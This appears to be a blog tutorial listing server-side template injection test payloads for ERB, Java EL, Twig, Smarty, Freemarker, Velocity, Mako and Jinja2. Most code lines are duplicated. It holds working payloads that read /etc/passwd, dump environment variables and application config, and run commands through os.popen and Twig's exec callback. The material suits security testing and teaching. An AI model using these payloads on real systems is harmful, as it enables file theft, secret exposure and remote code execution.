August 11, 2026
Server-Side Template Injection (SSTI) Vulnerability — Payloads & Testing
Server-Side Template Injection (SSTI) occurs when user-controlled input is processed by a server-side template engine as template code…

By Mohd Kaif
3 min read
Server-Side Template Injection (SSTI) occurs when user-controlled input is processed by a server-side template engine as template code instead of normal data.
Different applications use different template engines, so the syntax and testing methods vary.
Below are some common SSTI examples for different template engines.
Ruby
Basic Injection
For Ruby ERB templates, a basic mathematical expression can be used to check whether template expressions are being evaluated:
<%= 7 * 7 %><%= 7 * 7 %>If the application evaluates the expression, the result will be:
4949This is a basic way to identify possible SSTI in an ERB-based application.
Retrieve /etc/passwd
In a vulnerable Ruby ERB environment, file access may be possible through Ruby functionality:
<%= File.open('/etc/passwd').read %><%= File.open('/etc/passwd').read %>This can potentially cause the server to read the /etc/passwd file.
List Files and Directories
Ruby's Dir functionality can be used to access directory information:
<%= Dir.entries('/') %><%= Dir.entries('/') %>This can return files and directories from the specified location.
Java
Java applications can use different template engines such as Freemarker and Velocity.
Basic Injection
Some Java template engines support expressions such as:
${7*7}${7*7}Another syntax that may be encountered is:
${{7*7}}${{7*7}}Depending on the template engine and configuration, these expressions may be evaluated by the server.
Another example involves accessing resources through Java classes:
${class.getClassLoader()}${class.getClassLoader()}The exact result depends on the template engine and application configuration.
Retrieve System Environment Variables
In vulnerable Java template environments, system information may potentially be accessed through Java functionality.
For example:
${T(java.lang.System).getenv()}${T(java.lang.System).getenv()}This can potentially expose environment variables configured on the server.
Environment variables are important because applications sometimes store sensitive configuration or credentials in them.
Retrieve /etc/passwd
Some vulnerable Java template configurations may expose runtime functionality.
For example, the screenshot demonstrates:
${T(java.lang.Runtime).getRuntime().exec(...)}${T(java.lang.Runtime).getRuntime().exec(...)}This shows the potential progression from template evaluation to operating-system command execution.
The exact syntax and whether it works depends on the template engine and its security configuration.
Twig
Twig is a template engine commonly associated with PHP applications.
Basic Injection
A simple mathematical expression can be used to test whether Twig is evaluating template expressions:
{{7*7}}{{7*7}}If the result becomes:
4949the input is being interpreted by the template engine.
Code Execution
Once SSTI is confirmed, the next question is whether the template engine exposes functionality that can perform more powerful operations.
For example, the screenshot shows functionality involving:
{{_self}}{{_self}}and access to template environment functionality such as:
{{_self.env.getFilter("id")}}{{_self.env.getFilter("id")}}Other examples shown include template environment methods such as:
{{_self.env.loadTemplate("backdoor")}}{{_self.env.loadTemplate("backdoor")}}and:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.registerUndefinedFilterCallback("exec")}}These examples demonstrate how a vulnerable template configuration can potentially move from simple expression evaluation toward server-side code execution.
Smarty
Smarty is a PHP template engine.
The screenshot shows Smarty functionality involving internal file-writing behavior:
{php echo 'id'; {/php}}{php echo 'id'; {/php}}and:
{Smarty_Internal_Write_File::writeFile(...)}{Smarty_Internal_Write_File::writeFile(...)}The important concept here is that vulnerable or outdated configurations may expose powerful template functionality that can interact with the server filesystem.
Freemarker
Freemarker is a Java-based template engine.
Basic Injection
A simple expression can be tested using:
${3*3}${3*3}or:
#{3*3}#{3*3}If evaluated, the application may return:
99This indicates that the supplied input may be interpreted as a template expression.
Code Execution
Freemarker can provide access to Java functionality depending on configuration.
The screenshot demonstrates the use of:
freemarker.template.utility.Executefreemarker.template.utility.ExecuteThis functionality can potentially be abused in an insecure template environment to execute operating-system commands.
The exact behavior depends on the application's Freemarker configuration and security restrictions.
Jade / Codepen
Jade, now commonly known as Pug, is a JavaScript template engine.
When testing an application using Jade/Pug, the tester needs to identify whether user input is being interpreted as template syntax rather than ordinary text.
The exact payload depends on the version and configuration of the template engine.
Velocity
Velocity is another Java-based template engine.
A basic Velocity test can involve accessing Java classes through the template context.
The screenshot demonstrates techniques involving:
$class.inspect(...)$class.inspect(...)and Java runtime functionality.
The general attack chain is:
User Input
↓
Velocity Template
↓
Java Object/Class
↓
Runtime Functionality
↓
Potential Command ExecutionUser Input
↓
Velocity Template
↓
Java Object/Class
↓
Runtime Functionality
↓
Potential Command ExecutionMako
Mako is a Python template engine.
The screenshot demonstrates Python functionality being used inside a template:
<%
import os
x=os.popen('id').read()
%>
${x}<%
import os
x=os.popen('id').read()
%>
${x}Here the template executes Python code and stores the result in x.
Then:
${x}${x}prints the result into the generated response.
This demonstrates how SSTI in Mako can potentially lead to Python code execution.
Jinja2
Jinja2 is a popular Python template engine.
Basic Injection
A simple expression:
{{4*4}}[[5*5]]{{4*4}}[[5*5]]Another example:
{{7*7}}{{7*7}}would result in:
4949This is one of the simplest ways to check whether Jinja2-style template expressions are being evaluated.
Dump All Used Classes
Jinja2/Python object relationships can sometimes be explored through Python's class system.
Examples shown in the screenshot include:
{{ [].class.base.subclasses() }}{{ [].class.base.subclasses() }}and:
{{ ''.__class__.__mro__[1].subclasses()}}{{ ''.__class__.__mro__[1].subclasses()}}These techniques are used to explore objects and classes available to the template.
Dump All Config Variables
Application configuration can sometimes be exposed through objects available to the template.
For example:
{% for key, value in config.items() %}
{{ key }}
{{ value|e }}
{% endfor %}{% for key, value in config.items() %}
{{ key }}
{{ value|e }}
{% endfor %}This iterates through configuration values and displays them.
If sensitive information is stored in application configuration, this can result in information disclosure.
Read Remote File
The screenshot demonstrates accessing the Python File class through the class hierarchy and reading a file:
...File class......File class...The example shown reads:
/etc/passwd/etc/passwdThe important concept is:
SSTI
↓
Python object access
↓
File class
↓
File readSSTI
↓
Python object access
↓
File class
↓
File read